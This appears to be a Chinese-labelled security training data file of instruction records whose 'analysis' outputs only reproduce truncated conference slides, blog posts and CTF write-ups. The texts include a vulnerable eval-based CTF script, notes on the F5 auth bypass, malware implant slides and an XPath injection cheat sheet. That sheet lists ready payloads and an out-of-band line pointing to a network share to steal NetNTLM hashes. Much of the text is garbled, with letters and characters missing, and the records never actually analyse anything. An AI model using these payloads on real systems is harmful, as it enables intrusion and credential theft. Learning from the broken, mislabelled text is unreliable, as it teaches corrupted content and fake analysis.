这个在逛着https://stackoverflow.com突然发现个有点意思的段代码,或者说是有点意思的猴戏 怎么说呢,就是看完以后,不知道为啥,我就在懵逼中跪下了... 为了解决疑问,快速爬起来,我就决定解决这个疑问 先给你们看看这个问题是啥,你们就知道我为何懵逼了 https://stackoverflow.com/questions/15182496/why-does-this-code-using-random-strings- print-hello-world 翻译过来就是句话:下的代码将打印hello world,有能解释下吗? 概是这个意思,我也是有道云翻译的.... 0x01 问题 2 给出的代码也超级简单,可以拿idea跑下看看结果 3 Java 复制代码 // 让懵逼的代码 package Test2; import java.util.Random; public class Test1 { public static void main(String[] args) { System.out.println(randomString(-229985452) + \" \" + randomString(-147909649)); } public static String randomString(int i) { Random ran = new Random(i); StringBuilder sb = new StringBuilder(); while (true) { int k = ran.nextInt(27); if (k == 0) { break; } sb.append((char) ('`' + k)); } return sb.toString(); } } // 运结果 hello world 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 4 就问你... 这个代码给你,你第眼看到输出个hello world懵逼不懵逼? 懵逼完了以后,就可以开始想想为什么了 先看了眼源码,有点拗,让我有点懒的思考,于是决定去看看章的评论 0x02 解答 0x02.1 初步解答 5 我这么懒的逼,当然是选择看评论拉,看到个赞回答,看看写了啥先 有道翻译是这么说的: 当使特定的种值(seed)(在本例中是 -229985452 与 -147909649 )构 建 java.util.Random 的实例时 那么 java.util.Random 将从指定的种值(seed)开始成随机数 相同的种值(seed)构建的每个 java.util.Random 对象,每次都会产相同的数字 是不是感觉还是有点懵逼,简单的说就是当这个种值(seed)是固定的时,那么成出来的结果也是固定的 6 这我们做个实验,写段代码,运下,你就会恍然悟说的是啥了 Java 复制代码 // 随机数固定结果测试 package Test2; import java.util.Random; public class Test2 { public static void main(String[] args) { randomString(-229985452); System.out.println(\"--------------\"); randomString(-229985452); } private static void randomString(int i) { Random ran = new Random(i); System.out.println(ran.nextInt()); System.out.println(ran.nextInt()); System.out.println(ran.nextInt()); System.out.println(ran.nextInt()); System.out.println(ran.nextInt()); } } // 运结果 -755142161 -1073255141 -369383326 1592674620 -1524828502 -------------- -755142161 -1073255141 -369383326 1592674620 -1524828502 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n#!/usr/bin/env python import cgi; import sys from html import escape FLAG = open('/var/www/flag','r').read() OK_200 = \"\"\"Content-type: text/html
PyCalx

PyCalx

Source
\"\"\" print(OK_200) arguments = cgi.FieldStorage() if 'source' in arguments: source = arguments['source'].value else: source = 0 if source == '1': print('
'+escape(str(open(__file__,'r').read()))+'
') if 'value1' in arguments and 'value2' in arguments and 'op' in arguments: def get_value(val): val = str(val)[:64] if str(val).isdigit(): return int(val) blacklist = ['(',')','[',']','\\'','\"'] # I don't like tuple, list and dict. if val == '' or [c for c in blacklist if c in val] != []: print('
Invalid value
') sys.exit(0) return val def get_op(val): val = str(val)[:2] list_ops = ['+','-','/','*','=','!'] if val == '' or val[0] not in list_ops: print('
Invalid op
') sys.exit(0) return val op = get_op(get_value(arguments['op'].value)) value1 = get_value(arguments['value1'].value) value2 = get_value(arguments['value2'].value) if str(value1).isdigit() str(value2).isdigit(): print('
Types of the values don\\'t match
') sys.exit(0) calc_eval = str(repr(value1)) + str(op) + str(repr(value2)) print('
') print('>>>> print('+escape(calc_eval)+')') try: result = str(eval(calc_eval)) if result.isdigit() or", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nPlaying with Web Application Firewalls DEFCON 16, August 8-10, 2008, Las Vegas, NV, USA http://ws.hackaholic.org Playing with Web Application Firewalls Who is Wendel Guglielmetti Henrique ?  Penetration Test analyst at SecurityLabs - Intruders Tiger Team Security division (http://www.intruders.com.br) - One of the leading companies in the segment in Brazil, among our clients are government, credit card industry, etc.  Affiliated to Hackaholic team (http://hackaholic.org/).  Has been working in IT since 1997, during the last 7 years he has worked in the computer security field.  Discovered vulnerabilities in many software programs like Webmails, Access Points, Citrix Metaframe, etc.  Wrote tools used as examples in articles in national magazines like PCWorld Brazil and international ones like Hakin9 Magazine.  Speaker at famous Brazilian conferences such as H2HC, Code Breakers and invited as speaker to IT Underground 2006 - Italy and IT1TK1 2007 - Mexico. http://ws.hackaholic.org Playing with Web Application Firewalls AGENDA:  What is WAF?  Types of operation modes.  Common topology.  Passive or Reactive?  Tricks to detect WAF systems.  Tricks to fingerprint WAF systems.  Generic evasion techniques.  Specific techniques to evade WAF systems.  What does it fail to protect ? http://ws.hackaholic.org Playing with Web Application Firewalls What is WAF? Web Application Firewall (WAF): An intermediary device, sitting between a web-client and a web server, analyzing OSI Layer-7 messages for violations in the programmed security policy. A web application firewall is used as a security device protecting the web server from attack. Source: Web Application Security Consortium Glossary. http://www.webappsec.org/projects/glossary/#WebApplicationFirewall http://ws.hackaholic.org Playing with Web Application Firewalls What is WAF?  Web Application Firewalls are often called 'Deep Packet Inspection Firewalls' because they look at every request and response within the HTTP/HTTPS/SOAP", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nKonstantinos Karagiannis CTO, Security Consulting @konstanthacker ethereum is not bitcoin The key component is this idea of a Turing-complete blockchain --Vitalik Buterin smart contracts literally a billion reasons 30 million reasons will do caveats solidity dev tools  .sol files > bytecode > blockchain  Atom with plugins:  language-ethereum  etheratom  Remix: browser based solgraph oyente basic methodology  Interview devs  Review .sol file  Try compiling  Dissect code flowoptional solgraph  Run oyente (cross fingers)  Manually verify 3/4 vuln yay/nays  Manually check for following vulns reentrancy leave off the first re- for savings reentrancy (and irony) in the dao code default public  parity wallet hack initWallet execute unchecked send in king of the ether unchecked send gas limits withdraw dont send withdrawn not sent encryption transaction-ordering dependence call-stack depth limit variable or function ambiguity input validation throw -- being deprecated require (condition)  check external conditions (invalid inputs or errors in external components) assert (condition)  internal errors odds and ends  Timestamp dependence  Business logic flaws  Separating public/private data get involved dox me  or just keep in touch @konstanthacker konstantinos.karagiannis@bt.com", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nf5 0x00 f5 big-iprceCVE-2022-1388httpd pocconnection keepalive smugglingsmugglingsmugglingpre-auth rcechybeta hop-by-hophttps://t.zsxq.com/juJIAeEhop-by-hop https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers 0x01 hop-by-hop rfchttp end-to-endhop-by-hop Keep-Alive, Transfer-Encoding, TE, Connection, Trailer, Upgrade, Proxy-Authorization, Proxy-Authenticate RFC hop-by-hopconnection Connection: close, X-Foo, X-Bar X-FooX-Bar connection custom > apache proxy -> -> proxyurlurlproxy url hop-by-hopconnectionapache proxy f5 0x02 f5 pochttps://twitter.com/AnnaViolet20/status/1523564632140509184poc poc Connection: keep-alive,X-F5-Auth-Token X-F5-Auth-Token:a f5 X-F5-Auth-Token hop-by-hop 1. X-F5-Auth-Tokenhop token401serverapacheapache 2. hoptoken serverapachejavajava token 3. tokenhop f5hop-by-hop apacheurl token hop-by-hoptoken javajavatoken 0x03 hop-by-hop forwards connection headerconnectionhoplistforwards connection header connection connection You may have noticed that the Connection header itself is listed above as a default hop-by-hop header. This would suggest a compliant proxy should not be forwarding a request's list of custom hop-by-hop headers to the next server in the chain in its Connection header when it forwards the request - that is, a compliant proxy should consume the requests' Connection header entirely. However, my research suggests this may not always be occurring as expected - some systems appear to either also forward the entire Connection header, or copy the hop-by-hop list and append it to its own Connection header. For example, HAProxy appears to pass the Connection header through untouched, as does Nginx when acting as a proxy. HAProxynginxconnection nginxapachenginx 1. apacherfchop-by-hopconnection 2. nginxconnectionconnection F5apachenginx F5 apachenginxconnectionconnection 0x04 java 1. url 2. tokenurl 3. hop-by-hop", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nhttp://Irongeek.com Adrian Crenshaw http://Irongeek.com I run Irongeek.com I have an interest in InfoSec education I dont know everything - Im just a geek with time on my hands Sr. Information Security Consultant at TrustedSec Co-Founder of Derbycon http://www.derbycon.com Twitter: @Irongeek_ADC http://Irongeek.com I will be taking two perspectives People trying to stay anonymous People trying to de-anonymize users Im not really a privacy guy IANAL Be careful where you surf, contraband awaits http://Irongeek.com http://Irongeek.com Darknets There are many definitions, but mine is anonymizing private network  Use of encryption and proxies (some times other peers) to obfuscate who is communicating to whom Sometimes referred to as Cipherspace (love that term) http://Irongeek.com The Onion Router http://Irongeek.com Who? First the US Naval Research Laboratory, then the EFF and now the Tor Project (501c3 non-profit). http://www.torproject.org/ Why? Tor is free software and an open network that helps you defend against a form of network surveillance that threatens personal freedom and privacy, confidential business activities and relationships, and state security known as traffic analysis. ~ As defined by their site What? Access normal Internet sites anonymously, and Tor hidden services. How? Locally run SOCKS proxy that connects to the Tor network. http://Irongeek.com Layered encryption Bi-directional tunnels Has directory servers Mostly focused on out proxying to the Internet More info at https://www.torproject.org Internet Server Directory Server http://Irongeek.com http://Irongeek.com Image from http://www.torproject.org/hidden-services.html.en http://Irongeek.com Image from http://www.torproject.org/hidden-services.html.en http://Irongeek.com Image from http://www.torproject.org/hidden-services.html.en http://Irongeek.com Image from http://www.torproject.org/hidden-services.html.en http://Irongeek.com Image from http://www.torproject.org/hidden-services.html.en http:", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTorturing Open Government Systems for Fun, Profit and Time Travel Dr. Tom Keenan FCIPS, I.S.P., ITCP, Professor Faculty of Environmental Design & Dept. of Computer Science keenan@ucalgary.ca @drfuture decreeping.wordpress.com DEF CON 21 Las Vegas, NV August 1-4, 2013 Disclaimers These views are mine, not my employers, my publishers, my cats etc. I DO LIKE OPEN DATA! I just want to see it done right. Some of the vulnerabilities shown have been fixed/changed/modified. They are still instructive as cautionary tales. More results will appear in a forthcoming book from OR Books and on my blog decreeping.wordpress.com The Six Ws of Open Data What is Open Data? Who has Open Data? Why is Open Data? Where is Open Data? When is Open Data? Worrisome aspects of Open Data What is the Open Data Movement? Initiative by many governments to make their data openly available Driven by:  Calls for transparency (its the taxpayers money)  Sincere desire for innovation (theyll come up with some great uses for our data at that Hackathon)  Fear (Wikileaks is going to get this anyway; it looks better if we release it)  Cheapness (we dont have to pay the developers)  Positive sentiments about open source, transparency, data wants to be free Some notable examples NYC Datamine Philadelphia OpenDataPhilly Open Data Framework (Vancouver, Edmonton, Toronto and Ottawa) Open Data Challenge (EU) Direct input systems like seeclickfix.com NYC Datamine On October 6, 2009 NYC released, with great fanfare, 103 municipal data sets One listed 1100 womens organizations in the city Release contained their private email address, secret question like favorite pet and answer like fluffy Problem #1: Neglecting to read and redact data sets before releasing! Torontos 311 Customer Requests System 25% are about garbage/recycling pickup Some are serious, personal etc. Location is supposed to be reported as partial postal code e.g. M4Vxxx, but e.g. WOLFE AVE & DANFORTH RD If there are enough of these slip ups, combined", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# XPATH Injection > XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents. ## Summary * [Exploitation](#exploitation) * [Blind exploitation](#blind-exploitation) * [Out Of Band Exploitation](#out-of-band-exploitation) * [Tools](#tools) * [References](#references) ## Exploitation Similar to SQL : `\"string(//user[name/text()='\" +vuln_var1+ \"' and password/text()=\" +vuln_var1+ \"']/account/text())\"` ```sql ' or '1'='1 ' or ''=' x' or 1=1 or 'x'='y / // //* */* @* count(/child::node()) x' or name()='username' or 'x'='y ' and count(/*)=1 and '1'='1 ' and count(/@*)=1 and '1'='1 ' and count(/comment())=1 and '1'='1 search=')] | //user/*[contains(*,' search=Har') and contains(../password,'c search=Har') and starts-with(../password,'c ``` ## Blind Exploitation 1. Size of a string ```sql and string-length(account)=SIZE_INT ``` 2. Extract a character ```sql substring(//user[userid=5]/username,2,1)=CHAR_HERE substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE) ``` ## Out Of Band Exploitation ```powershell http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE') ``` ## Tools - [xcat](https://github.com/orf/xcat) - Automate XPath injection attacks to retrieve documents - [xxxpwn](https://github.com/feakk/xxxpwn) - Advanced XPath Injection Tool - [xxxpwn_smart](https://github.com/aayla-secura/xxxpwn_smart) - A fork of xxxpwn using predictive text - [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer) - [XmlChor](https://github.com/Harshal35/XMLCHOR) - Xpath injection exploitation tool ## References * [OWASP XPATH Injection](https://www.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)) * [Places of Interest in Stealing NetNTLM Hashes - Osanda Malith Jayathissa - March 24, 2017](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n@patrickwardle STICK THAT IN YOUR (ROOT)PIPE & SMOKE IT leverages the best combination of humans and technology to discover security vulnerabilities in our customers web apps, mobile apps, and infrastructure endpoints WHOIS @patrickwardle always looking for more experts! xpc, rootpipe, malware, patches & 0days :) OUTLINE overview of XPC the bug in malware patch bypass patch(es) Credits hax0ring is rarely an individual effort Ian Beer Emil Kvarnhammar Pedro Vilaça uncovered rootpipe Jonathan Levin \"Mac OS X & iOS Internals\" @emilkvarnhammar @osxreverser implants backdoor remotely accessible means of providing secret control of device injection coercing a process to load a module persistent malicious code hooking intercepting function calls trojan malicious code that masquerades as legitimate gotta make sure were all on the same page ;) SOME DEFINITIONS OVERVIEW OF XPC modern IPC on OS X a simple IPC mechanism which can provide security & robustness XPC There are two main reasons to use XPC: privilege separation and stability. -apple.com sandboxed 'XPC services' [privilege separation] [stability] each XPC service has its own sandbox crashes in the XPC services don't affect the app used all over the place by Apple XPC IN OS X $ find /System/Library/Frameworks -name \\*.xpc AddressBook.framework/Versions/A/XPCServices/com.apple.AddressBook.FaceTimeService.xpc AddressBook.framework/Versions/A/XPCServices/com.apple.AddressBook.MapLauncher.xpc ... WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.Plugin.32.xpc WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.Plugin.64.xpc WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc $ find /Applications -name \\*.xpc iPhoto.app/Contents/XPCServices/com.apple.PhotoApps.AVCHDConverter.xpc iPhoto.app/Contents/XPCServices/com.apple.photostream-agent.VideoConversionService.xpc Xcode.app/Contents/Developer/Toolchains/.../XPCServices/SourceKitService.xpc Xcode.app/Contents/XPCServices/com.apple.dt.Xcode.Pla", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 route分析 2022年52115:07:15 最近在重构优化stowaway的代码之前没有细看的header结构体的route字段的作实际上这个字段 就是以实现多级代理中和每个节点的通信的重要参数 般来说不管是哪个node发送消息给adminRoute般只要设置成TEMP_ROUTE当然Sender和 Accepter是来判断发送者和接收者的UUID 这不需要Route是因为每个node只会有个上游node和多个下游node所以你发送给上游node 的时候并不会迷路只有条路通往admin 2 admin发送消息给某个多级node的时候就需要路由帮忙了虽然SenderAccepter可以确认发送和 接收者但某个节点在拿到消息的时候并不能确定要发送给哪个下游node才能到达最终指定node 如下admin要发送消息给node2那node0怎么知道是应该发送给node1还是node4 node0只知道他路由两个节点孙节点就不得知了 但是作为admin既然能打印如下拓扑图那么他然是有各个node之间的关系只需要有个包 来管理node信息就他也确实是这么做的 3 有个topology包来做node管理通过把指定node的UUID发送给topology则可获取到他对应的 route以下是通过channel来通信的为了线程安全 于topology内部的实现有兴趣的可以仔细看看 route的格式是怎样的呢如下在个node接收到消息发现不是发送给分发给childNode 时route是冒号隔开以每个node的UUID作为标识拼接起来我要发送的最终node的UUID在 Accepter刚好Route最后个UUID也是 4 这调changeRoute来提取下跳node的UUID并在在Route删除这样每跳只需要把 Route最前的UUID提取出来就是要发送的childNode 5 通过UUID获取childNode的conn连接对象从可以把消息成功发送给路由指定下的childNode 6 通过每跳从Route提取最开头的UUID来找到需要发送给的childNode并删除Route最开头UUID 来实现多级代理之间的数据传递这种式好的地就是每个node他需知道孙node是谁只需要根据 Route来判断直到Accepter是就不需要往childNode传递了 以上只是提供个思路吧不管是做多级代理具还是C2都可以做参考", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# john_pollard Cryptography, 500 points ## Description: > Sometimes RSA certificates are breakable Hints: * The flag is in the format picoCTF{p,q} * Try swapping p and q if it does not work ## Solution: Let's extract the public key from the attached certificate: ```console root@kali:/media/sf_CTFs/pico/john_pollard# openssl x509 -pubkey -noout -in cert.pem > key.pub root@kali:/media/sf_CTFs/pico/john_pollard# openssl rsa -pubin -in key.pub -text RSA Public-Key: (53 bit) Modulus: 4966306421059967 (0x11a4d45212b17f) Exponent: 65537 (0x10001) writing RSA key -----BEGIN PUBLIC KEY----- MCIwDQYJKoZIhvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQAB -----END PUBLIC KEY----- ``` The modulus is really small, we can probably factor it. We can use the [FactorDB API](http://factordb.com/api/index.php?query=4966306421059967): ```json { \"id\": \"4966306421059967\", \"status\": \"FF\", \"factors\":[ [\"67867967\", 1], [\"73176001\",1] ] } ``` Or YAFU: ```console root@kali:/media/sf_CTFs/pico/john_pollard# yafu \"factor(4966306421059967)\" fac: factoring 4966306421059967 fac: using pretesting plan: normal fac: no tune info: using qs/gnfs crossover of 95 digits div: primes less than 10000 fmt: 1000000 iterations Total factoring time = 0.0189 seconds ***factors found*** P8 = 73176001 P8 = 67867967 ans = 1 ``` The flag: `picoCTF{73176001,67867967}`.", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n实战攻防演习之 红队视角下的防御体系突破 1 实战攻防演习之 红队视角下的防御体系突破 3 前 言 网络实战攻防演习是新形势下关键信息系统网络 安全保护工作的重要组成部分演习通常是以实际运 行的信息系统为保护目标通过有监督的攻防对抗 最大限度地模拟真实的网络攻击以此来检验信息系 统的实际安全性和运维保障的实际有效性 2016年以来在国家监管机构的有力推动下网 络实战攻防演习日益得到重视演习范围越来越广 演习周期越来越长演习规模越来越大国家有关部 门组织的全国性网络实战攻防演习从2016年仅有几家 参演单位到2019年已扩展到上百家参演单位同时 各省各市各行业的监管机构也都在积极地筹备 和组织各自管辖范围内的实战演习一时间网络实 战攻防演习遍地开花 在演习规模不断扩大的同时攻防双方的技术水平 和对抗能力也在博弈中不断升级 2016年网络实战攻防演习尚处于起步阶段攻 防重点大多集中于互联网入口或内网边界 2017年实战攻防演习开始与重大活动的网络安 全保障工作紧密结合就演习成果来看从互联网侧 实战攻防演习之 红队视角下的防御体系突破 4 发起的直接攻击仍然普遍十分有效而系统的外层防 护一旦被突破横向移动跨域攻击往往都比较容 易实现 2018年网络实战攻防演习开始向行业和地方深 入伴随着演习经验的不断丰富和大数据安全技术的 广泛应用防守方对攻击行为的监测发现和溯源能 力大幅增强与之相应的攻击队开始更多地转向精 准攻击和供应链攻击等新型作战策略 2019年以来网络实战攻防演习工作受到了监 管部门政企机构和安全企业的空前重视流量分 析EDR蜜罐白名单等专业监测与防护技术被防 守队广泛采用攻击难度的加大也迫使攻击队全面升 级诸如0day漏洞攻击1day漏洞攻击身份仿冒 钓鱼WiFi鱼叉邮件水坑攻击等高级攻击手法在 实战攻防演练中均已不再罕见攻防演习与网络实战 的水平更加接近 如何更好地参与网络实战攻防演习如何更好地借 助实战攻防演习提升自身的安全能力这已经成为大 型政企机构运营者关心的重要问题 作为国内领先的网络安全企业奇安信集团已成为 全国各类网络实战攻防演习的主力军奇安信集团安 实战攻防演习之 红队视角下的防御体系突破 5 服团队结合200余次实战攻防演习经验总结编撰了这 套实战攻防演习系列丛书分别从红队视角蓝队视 角和紫队视角来解读网络实战攻防演习的要领以 及如何结合演习提升政企机构的安全能力 需要说明的是实战攻防演习中的红方与蓝方对抗 实际上是沿用了军事演习的概念和方法一般来说 红方与蓝方分别代表攻击方与防守方不过红方和 蓝方的名词定义尚无严格的规定也有一些实际的攻 防演习将蓝队设为攻击队将红队设为防守队在 本系列丛书中我们依据绝大多数网络安全工作者的 习惯统一将攻击队命名为红队将防守队命名为蓝 队而紫队则代表组织演练的机构 红队视角下的防御体系突破是本系列丛书的第 一本本书希望通过归纳总结红队常用的攻击策略和 攻击战术帮助政企机构理解攻方思维以便提升演 习水平构筑更有效的安全防御体系正所谓知己知 彼百战不殆 实战攻防演习之 红队视角下的防御体系突破 6 目 录 第一章 什么是红队 .....................................1 第二章 红队三板斧攻击的三个阶段............3 一第一阶段情报收集.......................................3 二第二阶段建立据点.......................................4 三第三阶段横向移动.......................................5 第三章 红队也套路常用的攻击战术............7 一利用弱口令获得权限.......................................7 二利用社工来进入内网.......................................8 三利用旁路攻击实施渗透.................................10 四秘密渗透与多点潜伏.....................................11 第四章 红队三十六计经典攻击实例..........14 一浑水摸鱼社工钓鱼突破系统..................14 实战攻防演习之 红队视角下的防御体系突破 7 二声东击西混淆流量躲避侦察..................17 三李代桃僵旁路攻击搞定目标..................19 四顺手牵羊巧妙种马实施控制..................21 五暗渡陈仓迂回渗透取得突破..................23 第五章 红队眼中的防守弱点....", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMEATPISTOL A Modular Malware Implant Framework Presened by: @ceyxies and @fzzynop Biographical Summary: ? HERE TO TALK ABOUT A GUN MADE OF MEAT ...THAT SHOOTS MALWARE BULLETS? This is a tool for... RED TEAM You mean \"Pentesting?\" \"Fundamentally a framework for creating, managing, and interacting with stealth implants that support persistent adversarial operations\" Red Team Operating Paradigm Scope: any sysems, hmans, or processes employed by he company #Yoloscope We choose he arges, se he rles of engagemen, we se as mch ime as necessary #NoScopeBias Seal sff for real, inciden responders rea s like we are real, ry no o ge cagh, ry o win by any means necessary Read o or resls o large adiences, branded operaions, craf propaganda Have an impac. Origin Story. New Job, who dis? Hey go hack sff case an impac Don ge cagh Go shell ye? fine. Js ge some malware and SE my arge o rn i. Ooops. All the decent malware was for windows. my_first_malware.jpg Snail Pyhon Based Reverse SSH Tnneling Tool Used wier for C2 resolion based on a lexicon Cronab or LanchDaemon persisence Random schedling Obfscaed Generaor scrip Worked Good For like a year. Problems Ble Team does no like geing wrecked by pyhon Problems Ble Team wries specific deecions for Red Team Problems Aribion of Red Team ges really good. Problems Abiliy o be a good Boogeyman goes down. Problems And we have a bnch of spaghei code. Time to iterate, write new malware Trles: Flly implemened SSH clien and server wrien in java Rio: Anoher SSH reverse nneling ool wrien flly in bash So great! New malware, new tricks DJ KHALED WE DA BESSSSS But, the status quo was... We ended p rewriing malware each ime we waned somehing new We had o sand p all or own C2 each ime We had o manage and configre all or C2 We had o manage all or keys and cerificaes for or C2 I ook ime and effor, and a lo of i AND... Is prone o errors: Accidenally resed a C2 which go s aribed Accidenally conneced o C2 from he wrong place Broken shells and broken dreams Sh", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nNetwork Attack Visualization Greg Conti www.cc.gatech.edu/~conti Disclaimer The views expressed in this presentation are those of the author and do not reflect the official policy or position of the United States Military Academy, the Department of the Army, the Department of Defense or the U.S. Government. image: http://www.leavenworth.army.mil/usdb/standard%20products/vtdefault.htm information visualization is the use of interactive, sensory representations, typically visual, of abstract data to reinforce cognition. http://en.wikipedia.org/wiki/Information_visualization An Art Survey http://www.artinvest2000.com/leonardo_gioconda.htm http://www.geocities.com/h2lee/ascii/monalisa.html http://www.muppetlabs.com/~breadbox/bf/ http://www.clifford.at/cfun/progex/ A B C  Helps find patterns  Helps reduce search space  Aids efficient monitoring  Enables interaction (what if)  Help prevent overwhelming the user Why InfoVis? So What?  Go Beyond the Algorithm  Help with detecting and understand some 0day attacks  Make CTF and Root Wars a Spectator Sport  Help find insider threats  Stealth might not be so stealthy  Help visually fingerprint attacks/tools What tasks do you need help with? TCP Dump Tcpdump image: http://www.bgnett.no/~giva/pcap/tcpdump.png TCPDump can be found at http://www.tcpdump.org/ Ethereal image: http://www.linux- france.org/prj/edu/archinet/AMSI/index/images/ethereal.gif Ethereal by Gerald Combs can be found at http://www.ethereal.com/ EtherApe image: http://www.solaris4you.dk/sniffersSS.html Etherape by Juan Toledo can be found at http://etherape.sourceforge.net/ Ethereal EtherApe Packet Capture Visualizations 3D TraceRoute 3D TraceRoute Developer: http://www.hlembke.de/prod/3dtraceroute/ XTraceRoute Developer: http://www.dtek.chalmers.se/~d3august/xt/ Xtraceroute basic traceroute/tracert traceroute Visualizations Intrusion Detection System Types  Host-based intrusion-detection is the art of detecting malicious activity within a single computer by usin", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBreaking Bluetooth By Being Bored JP Dunning DefCon 2010  Shadow Cave LLC JP Dunning Graduate Student: Computer Science, Virginia Tech Research Focus: Wireless and Portable Security Website: www.hackfromacave.com  Shadow Cave LLC  Shadow Cave LLC Bluetooth  IEEE 802.15.1  Low Power / Short Range  Ad-Hoc (Piconet)  Deployed on over 1 billions devices worldwide  Shadow Cave LLC Obfuscation and Reconnaissance  Shadow Cave LLC Cloning/Spoofing Profile  Bluetooth Profile:  Device Address, Device Class, Device Name  Bluetooth Profile Cloning:  Modify host Bluetooth Adapter profile to match the profile of another device  Done manually using hciconfig and bdaddr  Bluetooth Profile Spoofing:  Creating a misleading profile of host Bluetooth Adapter  Shadow Cave LLC SpoofTooph  Automate / simplify Bluetooth profile modification process  Useful for  Obfuscation  Impersonations  Observation  5 different modes  Shadow Cave LLC SpoofTooph  Mode 1: > spooftooph -i hci0 -s -d scan.log  Scan local area for devices  Save list of devices found  Select a device from the list to clone  Mode 2: > spooftooph -i hci0 -r  Randomly generate Bluetooth profile  Device Class  Random Valid Class  Device Name - 100 most popular Ameraican names + device type  Device Addr  Random MAC  Shadow Cave LLC SpoofTooph  Mode 3: > spooftooph -i hci0 -n new_name -a 00:11:22:33:44:55 -c 0x4a010c  Specify Name, Class, and Address  Mode 4: > spooftooph -i hci0 -l scan.log  Read in previously logged scan  Select a device from the list to clone  Mode 5: > spooftooph -i hci0 -t 10  Incognito: Scan for devices every X seconds and clone the first profile on the list  Shadow Cave LLC SpoofTooph  Shadow Cave LLC Bluetooth Profiling Project  Collect Device Name, Device Address and Device Class on as many devices as possible  Same idea as Josh Wright's Bnap,Bnap, but collecting device profiles from others devices instead  Collected over 1,500 device profiles so far  Shadow Cave LLC Bluetooth Profiling Project  Use for th", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCOPYRIGHT 2006 McAfee Inc.  Fuzzing XML Based Protocols (SAML) Hacks-In-Taiwan 2006 Yen-Ming Chen Senior Principal Consultant Foundstone, A Division of McAfee 2 COPYRIGHT 2006 McAfee Inc. Agenda  Introduction  SAML  OpenSAML  Scenarios  Implementation  Conclusion 3 COPYRIGHT 2006 McAfee Inc. SAML  Security Assertion Markup Language (SAML)  Codified by OASIS with participation from MACE and others  Defines XML Schema for AuthN and attribute assertions, queries, responses, and use profiles such as Web SSO.  Defines bindings to protocols for transport  V2.0 expands SAML and includes definitions from Shibboleth and the Liberty Alliance 4 COPYRIGHT 2006 McAfee Inc. SAML in a Nutshell  An XML-based framework for exchanging security information  XML-encoded security assertions  XML-encoded request/response protocol  Rules on using assertions with standard transport and messaging frameworks  An OASIS standard (1.0, 1.1, and 2.0)  Vendors and users involved  OpenSAML implementation available  Codifies current system outputs vs. creating new technology 5 COPYRIGHT 2006 McAfee Inc. OpenSAML  OpenSAML for the message and assertion formats, and protocol bindings which is based on Security Assertion Markup Language (SAML)  SAML (Security Assertion Markup Language) is a standard for the formation and exchange of authentication, attribute, and authorization data as XML. It describes various kinds of messages and standard ways of transporting them.  OpenSAML is a set of open-source libraries in Java and C++ which can be used to build, transport, and parse SAML messages. 6 COPYRIGHT 2006 McAfee Inc. Technology  Basic concepts  Subject/principal  User or application requesting access to a resource  Assertion  Set of statements about a subject  Authority  Entity that produces and/or consumes assertions  Binding  Specification for transporting assertions as protocol payloads  Profile  Specification describing rules for embedding, transferring, extracting, and processing assertions 7 COP", "category": "text_analysis", "source": "security_papers"}
{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 Theyre Hacking Our Clients! Introducing Free Client-side Intrusion Prevention Jay Beale Creator - Bastille UNIX Co-Founder - Intelguardians, Inc. Copyright 2008 Jay Beale Intelguardians, Inc 2 Copyright 2008 Jay Beale Intelguardians, Inc. Penetration Testing I work for Intelguardians, a security consulting firm. I get to do and lead a fair bit of network and application penetration testing. A penetration test usually focuses on the compound question: could a hacker break in from the Internet and how far could he go? The hard part is getting into the internal network. Once youre inside, things get far, far easier. 3 Copyright 2008 Jay Beale Intelguardians, Inc. Target: Internal Network Our penetration tests get much, much easier from the internal network. Most organizations architect their firewalls for three zones: Internet, DMZ, and Internal networks. From any machine in the Internal network, we usually have an extreme level of access. 4 Copyright 2008 Jay Beale Intelguardians, Inc. A Curious Trend in Ethical Hacking Over the last year, were finding that compromising the Internet-accessible servers has gotten far more difficult. Increasingly, weve 